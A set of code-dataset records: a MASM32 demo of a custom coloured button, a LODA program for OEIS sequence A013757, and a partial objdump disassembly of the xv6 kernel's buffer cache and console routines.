; ######################################################################### ; ; DEMO Custom colour button ; ; Characteristics : Button with seperate UP and DOWN colours as started. ; Adjustments : Dynamic colour change, both TEXT and BUTTON colours. ; Dynamic alignment control. Default font at startup is SYSTEM and ; can be changed dynamically by providing a valid font handle. Text ; can also be changed dynamically. ; The control uses a WM_COMMAND interface to perform most of the ajustments. ; invoke SendMessage,hButn,WM_COMMAND,0,000000DDh ; button up colour ; invoke SendMessage,hButn,WM_COMMAND,1,00000099h ; button down colour ; invoke SendMessage,hButn,WM_COMMAND,2,00000000h ; text up colour ; invoke SendMessage,hButn,WM_COMMAND,3,00FFFFFFh ; text down colour ; -------------------------------------------------- ; text alignment, left = 1, centre = 2 right = 3 ; -------------------------------------------------- ; invoke SendMessage,hButn,WM_COMMAND,4,2 ; align button text ; Either, ; invoke SetWindowText,hButn,ADDR YourText ; or ; invoke SendMessage,hButn,WM_SETTEXT,0,ADDR YourText ; ; can be used to change the text dynamically. ; The font is changed using a WM_SETFONT message. ; invoke SendMessage,hButn,WM_SETFONT,hFont,0 ; set the font ; NOTE : When you create a font for the control, it must be removed when ; it is no longer used to prevent a resource memory leak. ; It can be created by the procedure provided or a direct call to ; CreateFont API. The font handle must have GLOBAL scope by putting it ; in the .DATA section. ; To destroy the font after it is no longer needed, use the DeleteObject ; API function and test the return value to make sure the resource is ; released. ; ######################################################################### .486 ; create 32 bit code .model flat, stdcall ; 32 bit memory model option casemap :none ; case sensitive include butntest.inc ; local includes for this file ; ---------------------------------------------------- ; use the library with the font and button procedures ; ---------------------------------------------------- include btest.inc includelib btest.lib .code ; ######################################################################### start: invoke InitCommonControls ; ------------------ ; set global values ; ------------------ invoke GetModuleHandle, NULL mov hInstance, eax invoke GetCommandLine mov CommandLine, eax invoke LoadIcon,hInstance,500 ; icon ID mov hIcon, eax invoke LoadCursor,NULL,IDC_ARROW mov hCursor, eax invoke GetSystemMetrics,SM_CXSCREEN mov sWid, eax invoke GetSystemMetrics,SM_CYSCREEN mov sHgt, eax invoke MakeFont,18,8,700,FALSE,SADD("times new roman") mov RomanFont, eax ; <<<<<< DELETE this font on EXIT call Main invoke DeleteObject,RomanFont ; delete the font invoke ExitProcess,eax ; ######################################################################### Main proc LOCAL Wwd:DWORD,Wht:DWORD,Wtx:DWORD,Wty:DWORD STRING szClassName,"Prostart_Class" ; -------------------------------------------- ; register class name for CreateWindowEx call ; -------------------------------------------- invoke RegisterWinClass,ADDR WndProc,ADDR szClassName, hIcon,hCursor,COLOR_BTNFACE+1 ; ------------------------------------------------- ; macro to autoscale window co-ordinates to screen ; percentages and centre window at those sizes. ; ------------------------------------------------- AutoScale 75, 70 invoke CreateWindowEx,WS_EX_LEFT, ADDR szClassName, ADDR szDisplayName, WS_OVERLAPPEDWINDOW, Wtx,Wty,Wwd,Wht, NULL,NULL, hInstance,NULL mov hWnd,eax ; --------------------------- ; macros for unchanging code ; --------------------------- DisplayWindow hWnd,SW_SHOWNORMAL call MsgLoop ret Main endp ; ######################################################################### RegisterWinClass proc lpWndProc:DWORD, lpClassName:DWORD, Icon:DWORD, Cursor:DWORD, bColor:DWORD LOCAL wc:WNDCLASSEX mov wc.cbSize, sizeof WNDCLASSEX mov wc.style, CS_BYTEALIGNCLIENT or \ CS_BYTEALIGNWINDOW m2m wc.lpfnWndProc, lpWndProc mov wc.cbClsExtra, NULL mov wc.cbWndExtra, NULL m2m wc.hInstance, hInstance invoke CreateSolidBrush,00000044h mov wc.hbrBackground, eax mov wc.lpszMenuName, NULL m2m wc.lpszClassName, lpClassName m2m wc.hIcon, Icon m2m wc.hCursor, Cursor m2m wc.hIconSm, Icon invoke RegisterClassEx, ADDR wc ret RegisterWinClass endp ; ######################################################################## MsgLoop proc ; ------------------------------------------ ; The following 4 equates are available for ; processing messages directly in the loop. ; m_hWnd - m_Msg - m_wParam - m_lParam ; ------------------------------------------ LOCAL msg:MSG StartLoop: invoke GetMessage,ADDR msg,NULL,0,0 cmp eax, 0 je ExitLoop invoke TranslateMessage, ADDR msg invoke DispatchMessage, ADDR msg jmp StartLoop ExitLoop: mov eax, msg.wParam ret MsgLoop endp ; ######################################################################### WndProc proc hWin :DWORD, uMsg :DWORD, wParam :DWORD, lParam :DWORD LOCAL var :DWORD LOCAL caW :DWORD LOCAL caH :DWORD LOCAL Rct :RECT LOCAL buffer1[128]:BYTE ; these are two spare buffers LOCAL buffer2[128]:BYTE ; for text manipulation etc.. .if uMsg == WM_COMMAND ;======== toolbar commands ======== .if wParam == 550 invoke SetWindowText,hWin,SADD("Button One") invoke SendMessage,hButn1,WM_COMMAND,4,1 invoke SendMessage,hButn2,WM_COMMAND,4,1 invoke SendMessage,hButn3,WM_COMMAND,4,1 invoke SendMessage,hButn1,WM_COMMAND,0,0000DD00h ; up colour invoke SendMessage,hButn1,WM_COMMAND,1,00009900h ; down colour invoke SendMessage,hButn1,WM_COMMAND,2,00000000h ; up text colour invoke SendMessage,hButn1,WM_COMMAND,3,00FFFFFFh ; down text colour .elseif wParam == 551 invoke SetWindowText,hWin,SADD("Button Two") invoke SendMessage,hButn1,WM_COMMAND,4,2 invoke SendMessage,hButn2,WM_COMMAND,4,2 invoke SendMessage,hButn3,WM_COMMAND,4,2 invoke SendMessage,hButn1,WM_COMMAND,0,000000DDh ; up colour invoke SendMessage,hButn1,WM_COMMAND,1,00000099h ; down colour invoke SendMessage,hButn1,WM_COMMAND,2,00000000h ; up text colour invoke SendMessage,hButn1,WM_COMMAND,3,00FFFFFFh ; down text colour .elseif wParam == 552 invoke SetWindowText,hWin,SADD("Button Three") invoke SendMessage,hButn1,WM_COMMAND,4,3 invoke SendMessage,hButn2,WM_COMMAND,4,3 invoke SendMessage,hButn3,WM_COMMAND,4,3 .endif .elseif uMsg == WM_CREATE invoke Do_Status,hWin invoke colrbutn,hWin,hInstance,SADD(" Button 1 "), 000000FFh,000000AAh, 50,50,150,25,2,550 mov hButn1, eax invoke SendMessage,hButn1,WM_SETFONT,RomanFont,0 invoke colrbutn,hWin,hInstance,SADD(" Button 2 "), 00FFFFFFh,00AAAAAAh, 50,80,150,25,2,551 mov hButn2, eax invoke SendMessage,hButn2,WM_SETFONT,RomanFont,0 invoke colrbutn,hWin,hInstance,SADD(" Button 3 "), 00FF0000h,00AA0000h, 50,110,150,25,2,552 mov hButn3, eax invoke SendMessage,hButn3,WM_SETFONT,RomanFont,0 .elseif uMsg == WM_SYSCOLORCHANGE .elseif uMsg == WM_SIZE invoke MoveWindow,hStatus,0,0,0,0,TRUE .elseif uMsg == WM_PAINT invoke Paint_Proc,hWin return 0 .elseif uMsg == WM_CLOSE .elseif uMsg == WM_DESTROY invoke PostQuitMessage,NULL return 0 .endif invoke DefWindowProc,hWin,uMsg,wParam,lParam ret WndProc endp ; ######################################################################## TopXY proc wDim:DWORD, sDim:DWORD shr sDim, 1 ; divide screen dimension by 2 shr wDim, 1 ; divide window dimension by 2 mov eax, wDim ; copy window dimension into eax sub sDim, eax ; sub half win dimension from half screen dimension return sDim TopXY endp ; ######################################################################### Paint_Proc proc hWin:DWORD LOCAL hDC :DWORD LOCAL btn_hi :DWORD LOCAL btn_lo :DWORD LOCAL Font :DWORD LOCAL hOld :DWORD LOCAL Rct :RECT LOCAL Ps :PAINTSTRUCT invoke BeginPaint,hWin,ADDR Ps mov hDC, eax ; ---------------------------------------- invoke GetClientRect,hWin,ADDR Rct mov Rct.left, 20 mov Rct.top, 10 mov Rct.right, 550 mov Rct.bottom, 30 invoke MakeFont,24,12,700,FALSE,SADD("times new roman") mov Font, eax ; <<<<<< DELETE this font on EXIT invoke SelectObject,hDC,Font mov hOld, eax invoke SetBkMode,hDC,TRANSPARENT invoke SetTextColor,hDC,00888888h ; shadow invoke DrawText,hDC,SADD("Technicolor Custom Button Example"), -1,ADDR Rct,DT_CENTER or DT_VCENTER or DT_SINGLELINE sub Rct.left,2 sub Rct.top,2 sub Rct.right,2 sub Rct.bottom,2 invoke SetTextColor,hDC,000000FFh ; red invoke DrawText,hDC,SADD("Technicolor Custom Button Example"), -1,ADDR Rct,DT_CENTER or DT_VCENTER or DT_SINGLELINE invoke SelectObject,hDC,hOld invoke DeleteObject,Font ; delete the font ; ---------------------------------------- invoke EndPaint,hWin,ADDR Ps ret Paint_Proc endp ; ######################################################################## end start
29.929178
85
0.550213
ff131c3d80a7b87e808539622fd621ec58f94ef1
602
asm
Assembly
oeis/013/A013757.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/013/A013757.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/013/A013757.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A013757: a(n) = 15^(3*n + 2). ; 225,759375,2562890625,8649755859375,29192926025390625,98526125335693359375,332525673007965087890625,1122274146401882171630859375,3787675244106352329254150390625,12783403948858939111232757568359375,43143988327398919500410556793212890625,145610960604971353313885629177093505859375,491436992041778317434363998472690582275390625,1658599848141001821340978494845330715179443359375,5597774487475881147025802420102991163730621337890625,18892488895231098871212083167847595177590847015380859375 mov $1,3375 pow $1,$0 mul $1,196 div $1,661304 mul $1,759150 add $1,225 mov $0,$1
54.727273
486
0.888704
e68d7703e931ab879762347966dee6527dd413ab
728,632
asm
Assembly
kernel.asm
MatanGilead/myxv6
e3e56b63deba7bdf2f85079a4c303a36feaef0c9
[ "MIT-0" ]
null
null
null
kernel.asm
MatanGilead/myxv6
e3e56b63deba7bdf2f85079a4c303a36feaef0c9
[ "MIT-0" ]
null
null
null
kernel.asm
MatanGilead/myxv6
e3e56b63deba7bdf2f85079a4c303a36feaef0c9
[ "MIT-0" ]
null
null
null
kernel: file format elf32-i386 Disassembly of section .text: 80100000 <multiboot_header>: 80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh 80100006: 00 00 add %al,(%eax) 80100008: fe 4f 52 decb 0x52(%edi) 8010000b: e4 0f in $0xf,%al 8010000c <entry>: # Entering xv6 on boot processor, with paging off. .globl entry entry: # Turn on page size extension for 4Mbyte pages movl %cr4, %eax 8010000c: 0f 20 e0 mov %cr4,%eax orl $(CR4_PSE), %eax 8010000f: 83 c8 10 or $0x10,%eax movl %eax, %cr4 80100012: 0f 22 e0 mov %eax,%cr4 # Set page directory movl $(V2P_WO(entrypgdir)), %eax 80100015: b8 00 b0 10 00 mov $0x10b000,%eax movl %eax, %cr3 8010001a: 0f 22 d8 mov %eax,%cr3 # Turn on paging. movl %cr0, %eax 8010001d: 0f 20 c0 mov %cr0,%eax orl $(CR0_PG|CR0_WP), %eax 80100020: 0d 00 00 01 80 or $0x80010000,%eax movl %eax, %cr0 80100025: 0f 22 c0 mov %eax,%cr0 # Set up the stack pointer. movl $(stack + KSTACKSIZE), %esp 80100028: bc 70 d6 10 80 mov $0x8010d670,%esp # Jump to main(), and switch to executing at # high addresses. The indirect call is needed because # the assembler produces a PC-relative instruction # for a direct jump. mov $main, %eax 8010002d: b8 2f 40 10 80 mov $0x8010402f,%eax jmp *%eax 80100032: ff e0 jmp *%eax 80100034 <binit>: struct buf head; } bcache; void binit(void) { 80100034: 55 push %ebp 80100035: 89 e5 mov %esp,%ebp 80100037: 83 ec 28 sub $0x28,%esp struct buf *b; initlock(&bcache.lock, "bcache"); 8010003a: c7 44 24 04 b4 92 10 movl $0x801092b4,0x4(%esp) 80100041: 80 80100042: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp) 80100049: e8 3c 5b 00 00 call 80105b8a <initlock> //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; 8010004e: c7 05 90 15 11 80 84 movl $0x80111584,0x80111590 80100055: 15 11 80 bcache.head.next = &bcache.head; 80100058: c7 05 94 15 11 80 84 movl $0x80111584,0x80111594 8010005f: 15 11 80 for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100062: c7 45 f4 b4 d6 10 80 movl $0x8010d6b4,-0xc(%ebp) 80100069: eb 3a jmp 801000a5 <binit+0x71> b->next = bcache.head.next; 8010006b: 8b 15 94 15 11 80 mov 0x80111594,%edx 80100071: 8b 45 f4 mov -0xc(%ebp),%eax 80100074: 89 50 10 mov %edx,0x10(%eax) b->prev = &bcache.head; 80100077: 8b 45 f4 mov -0xc(%ebp),%eax 8010007a: c7 40 0c 84 15 11 80 movl $0x80111584,0xc(%eax) b->dev = -1; 80100081: 8b 45 f4 mov -0xc(%ebp),%eax 80100084: c7 40 04 ff ff ff ff movl $0xffffffff,0x4(%eax) bcache.head.next->prev = b; 8010008b: a1 94 15 11 80 mov 0x80111594,%eax 80100090: 8b 55 f4 mov -0xc(%ebp),%edx 80100093: 89 50 0c mov %edx,0xc(%eax) bcache.head.next = b; 80100096: 8b 45 f4 mov -0xc(%ebp),%eax 80100099: a3 94 15 11 80 mov %eax,0x80111594 //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 8010009e: 81 45 f4 18 02 00 00 addl $0x218,-0xc(%ebp) 801000a5: 81 7d f4 84 15 11 80 cmpl $0x80111584,-0xc(%ebp) 801000ac: 72 bd jb 8010006b <binit+0x37> b->prev = &bcache.head; b->dev = -1; bcache.head.next->prev = b; bcache.head.next = b; } } 801000ae: c9 leave 801000af: c3 ret 801000b0 <bget>: // Look through buffer cache for block on device dev. // If not found, allocate a buffer. // In either case, return B_BUSY buffer. static struct buf* bget(uint dev, uint blockno) { 801000b0: 55 push %ebp 801000b1: 89 e5 mov %esp,%ebp 801000b3: 83 ec 28 sub $0x28,%esp struct buf *b; acquire(&bcache.lock); 801000b6: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp) 801000bd: e8 e9 5a 00 00 call 80105bab <acquire> loop: // Is the block already cached? for(b = bcache.head.next; b != &bcache.head; b = b->next){ 801000c2: a1 94 15 11 80 mov 0x80111594,%eax 801000c7: 89 45 f4 mov %eax,-0xc(%ebp) 801000ca: eb 63 jmp 8010012f <bget+0x7f> if(b->dev == dev && b->blockno == blockno){ 801000cc: 8b 45 f4 mov -0xc(%ebp),%eax 801000cf: 8b 40 04 mov 0x4(%eax),%eax 801000d2: 3b 45 08 cmp 0x8(%ebp),%eax 801000d5: 75 4f jne 80100126 <bget+0x76> 801000d7: 8b 45 f4 mov -0xc(%ebp),%eax 801000da: 8b 40 08 mov 0x8(%eax),%eax 801000dd: 3b 45 0c cmp 0xc(%ebp),%eax 801000e0: 75 44 jne 80100126 <bget+0x76> if(!(b->flags & B_BUSY)){ 801000e2: 8b 45 f4 mov -0xc(%ebp),%eax 801000e5: 8b 00 mov (%eax),%eax 801000e7: 83 e0 01 and $0x1,%eax 801000ea: 85 c0 test %eax,%eax 801000ec: 75 23 jne 80100111 <bget+0x61> b->flags |= B_BUSY; 801000ee: 8b 45 f4 mov -0xc(%ebp),%eax 801000f1: 8b 00 mov (%eax),%eax 801000f3: 89 c2 mov %eax,%edx 801000f5: 83 ca 01 or $0x1,%edx 801000f8: 8b 45 f4 mov -0xc(%ebp),%eax 801000fb: 89 10 mov %edx,(%eax) release(&bcache.lock); 801000fd: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp) 80100104: e8 04 5b 00 00 call 80105c0d <release> return b; 80100109: 8b 45 f4 mov -0xc(%ebp),%eax 8010010c: e9 93 00 00 00 jmp 801001a4 <bget+0xf4> } sleep(b, &bcache.lock); 80100111: c7 44 24 04 80 d6 10 movl $0x8010d680,0x4(%esp) 80100118: 80 80100119: 8b 45 f4 mov -0xc(%ebp),%eax 8010011c: 89 04 24 mov %eax,(%esp) 8010011f: e8 9b 55 00 00 call 801056bf <sleep> goto loop; 80100124: eb 9c jmp 801000c2 <bget+0x12> acquire(&bcache.lock); loop: // Is the block already cached? for(b = bcache.head.next; b != &bcache.head; b = b->next){ 80100126: 8b 45 f4 mov -0xc(%ebp),%eax 80100129: 8b 40 10 mov 0x10(%eax),%eax 8010012c: 89 45 f4 mov %eax,-0xc(%ebp) 8010012f: 81 7d f4 84 15 11 80 cmpl $0x80111584,-0xc(%ebp) 80100136: 75 94 jne 801000cc <bget+0x1c> } // Not cached; recycle some non-busy and clean buffer. // "clean" because B_DIRTY and !B_BUSY means log.c // hasn't yet committed the changes to the buffer. for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100138: a1 90 15 11 80 mov 0x80111590,%eax 8010013d: 89 45 f4 mov %eax,-0xc(%ebp) 80100140: eb 4d jmp 8010018f <bget+0xdf> if((b->flags & B_BUSY) == 0 && (b->flags & B_DIRTY) == 0){ 80100142: 8b 45 f4 mov -0xc(%ebp),%eax 80100145: 8b 00 mov (%eax),%eax 80100147: 83 e0 01 and $0x1,%eax 8010014a: 85 c0 test %eax,%eax 8010014c: 75 38 jne 80100186 <bget+0xd6> 8010014e: 8b 45 f4 mov -0xc(%ebp),%eax 80100151: 8b 00 mov (%eax),%eax 80100153: 83 e0 04 and $0x4,%eax 80100156: 85 c0 test %eax,%eax 80100158: 75 2c jne 80100186 <bget+0xd6> b->dev = dev; 8010015a: 8b 45 f4 mov -0xc(%ebp),%eax 8010015d: 8b 55 08 mov 0x8(%ebp),%edx 80100160: 89 50 04 mov %edx,0x4(%eax) b->blockno = blockno; 80100163: 8b 45 f4 mov -0xc(%ebp),%eax 80100166: 8b 55 0c mov 0xc(%ebp),%edx 80100169: 89 50 08 mov %edx,0x8(%eax) b->flags = B_BUSY; 8010016c: 8b 45 f4 mov -0xc(%ebp),%eax 8010016f: c7 00 01 00 00 00 movl $0x1,(%eax) release(&bcache.lock); 80100175: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp) 8010017c: e8 8c 5a 00 00 call 80105c0d <release> return b; 80100181: 8b 45 f4 mov -0xc(%ebp),%eax 80100184: eb 1e jmp 801001a4 <bget+0xf4> } // Not cached; recycle some non-busy and clean buffer. // "clean" because B_DIRTY and !B_BUSY means log.c // hasn't yet committed the changes to the buffer. for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100186: 8b 45 f4 mov -0xc(%ebp),%eax 80100189: 8b 40 0c mov 0xc(%eax),%eax 8010018c: 89 45 f4 mov %eax,-0xc(%ebp) 8010018f: 81 7d f4 84 15 11 80 cmpl $0x80111584,-0xc(%ebp) 80100196: 75 aa jne 80100142 <bget+0x92> b->flags = B_BUSY; release(&bcache.lock); return b; } } panic("bget: no buffers"); 80100198: c7 04 24 bb 92 10 80 movl $0x801092bb,(%esp) 8010019f: e8 99 03 00 00 call 8010053d <panic> } 801001a4: c9 leave 801001a5: c3 ret 801001a6 <bread>: // Return a B_BUSY buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 801001a6: 55 push %ebp 801001a7: 89 e5 mov %esp,%ebp 801001a9: 83 ec 28 sub $0x28,%esp struct buf *b; b = bget(dev, blockno); 801001ac: 8b 45 0c mov 0xc(%ebp),%eax 801001af: 89 44 24 04 mov %eax,0x4(%esp) 801001b3: 8b 45 08 mov 0x8(%ebp),%eax 801001b6: 89 04 24 mov %eax,(%esp) 801001b9: e8 f2 fe ff ff call 801000b0 <bget> 801001be: 89 45 f4 mov %eax,-0xc(%ebp) if(!(b->flags & B_VALID)) { 801001c1: 8b 45 f4 mov -0xc(%ebp),%eax 801001c4: 8b 00 mov (%eax),%eax 801001c6: 83 e0 02 and $0x2,%eax 801001c9: 85 c0 test %eax,%eax 801001cb: 75 0b jne 801001d8 <bread+0x32> iderw(b); 801001cd: 8b 45 f4 mov -0xc(%ebp),%eax 801001d0: 89 04 24 mov %eax,(%esp) 801001d3: e8 b7 2e 00 00 call 8010308f <iderw> } return b; 801001d8: 8b 45 f4 mov -0xc(%ebp),%eax } 801001db: c9 leave 801001dc: c3 ret 801001dd <bwrite>: // Write b's contents to disk. Must be B_BUSY. void bwrite(struct buf *b) { 801001dd: 55 push %ebp 801001de: 89 e5 mov %esp,%ebp 801001e0: 83 ec 18 sub $0x18,%esp if((b->flags & B_BUSY) == 0) 801001e3: 8b 45 08 mov 0x8(%ebp),%eax 801001e6: 8b 00 mov (%eax),%eax 801001e8: 83 e0 01 and $0x1,%eax 801001eb: 85 c0 test %eax,%eax 801001ed: 75 0c jne 801001fb <bwrite+0x1e> panic("bwrite"); 801001ef: c7 04 24 cc 92 10 80 movl $0x801092cc,(%esp) 801001f6: e8 42 03 00 00 call 8010053d <panic> b->flags |= B_DIRTY; 801001fb: 8b 45 08 mov 0x8(%ebp),%eax 801001fe: 8b 00 mov (%eax),%eax 80100200: 89 c2 mov %eax,%edx 80100202: 83 ca 04 or $0x4,%edx 80100205: 8b 45 08 mov 0x8(%ebp),%eax 80100208: 89 10 mov %edx,(%eax) iderw(b); 8010020a: 8b 45 08 mov 0x8(%ebp),%eax 8010020d: 89 04 24 mov %eax,(%esp) 80100210: e8 7a 2e 00 00 call 8010308f <iderw> } 80100215: c9 leave 80100216: c3 ret 80100217 <brelse>: // Release a B_BUSY buffer. // Move to the head of the MRU list. void brelse(struct buf *b) { 80100217: 55 push %ebp 80100218: 89 e5 mov %esp,%ebp 8010021a: 83 ec 18 sub $0x18,%esp if((b->flags & B_BUSY) == 0) 8010021d: 8b 45 08 mov 0x8(%ebp),%eax 80100220: 8b 00 mov (%eax),%eax 80100222: 83 e0 01 and $0x1,%eax 80100225: 85 c0 test %eax,%eax 80100227: 75 0c jne 80100235 <brelse+0x1e> panic("brelse"); 80100229: c7 04 24 d3 92 10 80 movl $0x801092d3,(%esp) 80100230: e8 08 03 00 00 call 8010053d <panic> acquire(&bcache.lock); 80100235: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp) 8010023c: e8 6a 59 00 00 call 80105bab <acquire> b->next->prev = b->prev; 80100241: 8b 45 08 mov 0x8(%ebp),%eax 80100244: 8b 40 10 mov 0x10(%eax),%eax 80100247: 8b 55 08 mov 0x8(%ebp),%edx 8010024a: 8b 52 0c mov 0xc(%edx),%edx 8010024d: 89 50 0c mov %edx,0xc(%eax) b->prev->next = b->next; 80100250: 8b 45 08 mov 0x8(%ebp),%eax 80100253: 8b 40 0c mov 0xc(%eax),%eax 80100256: 8b 55 08 mov 0x8(%ebp),%edx 80100259: 8b 52 10 mov 0x10(%edx),%edx 8010025c: 89 50 10 mov %edx,0x10(%eax) b->next = bcache.head.next; 8010025f: 8b 15 94 15 11 80 mov 0x80111594,%edx 80100265: 8b 45 08 mov 0x8(%ebp),%eax 80100268: 89 50 10 mov %edx,0x10(%eax) b->prev = &bcache.head; 8010026b: 8b 45 08 mov 0x8(%ebp),%eax 8010026e: c7 40 0c 84 15 11 80 movl $0x80111584,0xc(%eax) bcache.head.next->prev = b; 80100275: a1 94 15 11 80 mov 0x80111594,%eax 8010027a: 8b 55 08 mov 0x8(%ebp),%edx 8010027d: 89 50 0c mov %edx,0xc(%eax) bcache.head.next = b; 80100280: 8b 45 08 mov 0x8(%ebp),%eax 80100283: a3 94 15 11 80 mov %eax,0x80111594 b->flags &= ~B_BUSY; 80100288: 8b 45 08 mov 0x8(%ebp),%eax 8010028b: 8b 00 mov (%eax),%eax 8010028d: 89 c2 mov %eax,%edx 8010028f: 83 e2 fe and $0xfffffffe,%edx 80100292: 8b 45 08 mov 0x8(%ebp),%eax 80100295: 89 10 mov %edx,(%eax) wakeup(b); 80100297: 8b 45 08 mov 0x8(%ebp),%eax 8010029a: 89 04 24 mov %eax,(%esp) 8010029d: e8 06 55 00 00 call 801057a8 <wakeup> release(&bcache.lock); 801002a2: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp) 801002a9: e8 5f 59 00 00 call 80105c0d <release> } 801002ae: c9 leave 801002af: c3 ret 801002b0 <inb>: // Routines to let C code use special x86 instructions. static inline uchar inb(ushort port) { 801002b0: 55 push %ebp 801002b1: 89 e5 mov %esp,%ebp 801002b3: 53 push %ebx 801002b4: 83 ec 14 sub $0x14,%esp 801002b7: 8b 45 08 mov 0x8(%ebp),%eax 801002ba: 66 89 45 e8 mov %ax,-0x18(%ebp) uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801002be: 0f b7 55 e8 movzwl -0x18(%ebp),%edx 801002c2: 66 89 55 ea mov %dx,-0x16(%ebp) 801002c6: 0f b7 55 ea movzwl -0x16(%ebp),%edx 801002ca: ec in (%dx),%al 801002cb: 89 c3 mov %eax,%ebx 801002cd: 88 5d fb mov %bl,-0x5(%ebp) return data; 801002d0: 0f b6 45 fb movzbl -0x5(%ebp),%eax } 801002d4: 83 c4 14 add $0x14,%esp 801002d7: 5b pop %ebx 801002d8: 5d pop %ebp 801002d9: c3 ret 801002da <outb>: "memory", "cc"); } static inline void outb(ushort port, uchar data) { 801002da: 55 push %ebp 801002db: 89 e5 mov %esp,%ebp 801002dd: 83 ec 08 sub $0x8,%esp 801002e0: 8b 55 08 mov 0x8(%ebp),%edx 801002e3: 8b 45 0c mov 0xc(%ebp),%eax 801002e6: 66 89 55 fc mov %dx,-0x4(%ebp) 801002ea: 88 45 f8 mov %al,-0x8(%ebp) asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801002ed: 0f b6 45 f8 movzbl -0x8(%ebp),%eax 801002f1: 0f b7 55 fc movzwl -0x4(%ebp),%edx 801002f5: ee out %al,(%dx) } 801002f6: c9 leave 801002f7: c3 ret 801002f8 <cli>: asm volatile("movw %0, %%gs" : : "r" (v)); } static inline void cli(void) { 801002f8: 55 push %ebp 801002f9: 89 e5 mov %esp,%ebp asm volatile("cli"); 801002fb: fa cli } 801002fc: 5d pop %ebp 801002fd: c3 ret 801002fe <printint>: int locking; } cons; static void printint(int xx, int base, int sign) { 801002fe: 55 push %ebp 801002ff: 89 e5 mov %esp,%ebp 80100301: 83 ec 48 sub $0x48,%esp static char digits[] = "0123456789abcdef"; char buf[16]; int i; uint x; if(sign && (sign = xx < 0)) 80100304: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80100308: 74 19 je 80100323 <printint+0x25> 8010030a: 8b 45 08 mov 0x8(%ebp),%eax 8010030d: c1 e8 1f shr $0x1f,%eax 80100310: 89 45 10 mov %eax,0x10(%ebp) 80100313: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80100317: 74 0a je 80100323 <printint+0x25> x = -xx; 80100319: 8b 45 08 mov 0x8(%ebp),%eax 8010031c: f7 d8 neg %eax 8010031e: 89 45 f0 mov %eax,-0x10(%ebp) 80100321: eb 06 jmp 80100329 <printint+0x2b> else x = xx; 80100323: 8b 45 08 mov 0x8(%ebp),%eax 80100326: 89 45 f0 mov %eax,-0x10(%ebp) i = 0; 80100329: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 80100330: 8b 4d 0c mov 0xc(%ebp),%ecx 80100333: 8b 45 f0 mov -0x10(%ebp),%eax 80100336: ba 00 00 00 00 mov $0x0,%edx 8010033b: f7 f1 div %ecx 8010033d: 89 d0 mov %edx,%eax 8010033f: 0f b6 90 04 a0 10 80 movzbl -0x7fef5ffc(%eax),%edx 80100346: 8d 45 e0 lea -0x20(%ebp),%eax 80100349: 03 45 f4 add -0xc(%ebp),%eax 8010034c: 88 10 mov %dl,(%eax) 8010034e: 83 45 f4 01 addl $0x1,-0xc(%ebp) }while((x /= base) != 0); 80100352: 8b 55 0c mov 0xc(%ebp),%edx 80100355: 89 55 d4 mov %edx,-0x2c(%ebp) 80100358: 8b 45 f0 mov -0x10(%ebp),%eax 8010035b: ba 00 00 00 00 mov $0x0,%edx 80100360: f7 75 d4 divl -0x2c(%ebp) 80100363: 89 45 f0 mov %eax,-0x10(%ebp) 80100366: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 8010036a: 75 c4 jne 80100330 <printint+0x32> if(sign) 8010036c: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 80100370: 74 23 je 80100395 <printint+0x97> buf[i++] = '-'; 80100372: 8d 45 e0 lea -0x20(%ebp),%eax 80100375: 03 45 f4 add -0xc(%ebp),%eax 80100378: c6 00 2d movb $0x2d,(%eax) 8010037b: 83 45 f4 01 addl $0x1,-0xc(%ebp) while(--i >= 0) 8010037f: eb 14 jmp 80100395 <printint+0x97> consputc(buf[i]); 80100381: 8d 45 e0 lea -0x20(%ebp),%eax 80100384: 03 45 f4 add -0xc(%ebp),%eax 80100387: 0f b6 00 movzbl (%eax),%eax 8010038a: 0f be c0 movsbl %al,%eax 8010038d: 89 04 24 mov %eax,(%esp) 80100390: e8 2d 07 00 00 call 80100ac2 <consputc> }while((x /= base) != 0); if(sign) buf[i++] = '-'; while(--i >= 0) 80100395: 83 6d f4 01 subl $0x1,-0xc(%ebp) 80100399: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8010039d: 79 e2 jns 80100381 <printint+0x83> consputc(buf[i]); } 8010039f: c9 leave 801003a0: c3 ret 801003a1 <cprintf>: //PAGEBREAK: 50 // Print to the console. only understands %d, %x, %p, %s. void cprintf(char *fmt, ...) { 801003a1: 55 push %ebp 801003a2: 89 e5 mov %esp,%ebp 801003a4: 83 ec 38 sub $0x38,%esp int i, c, locking; uint *argp; char *s; locking = cons.locking; 801003a7: a1 14 c6 10 80 mov 0x8010c614,%eax 801003ac: 89 45 e8 mov %eax,-0x18(%ebp) if(locking) 801003af: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 801003b3: 74 0c je 801003c1 <cprintf+0x20> acquire(&cons.lock); 801003b5: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp) 801003bc: e8 ea 57 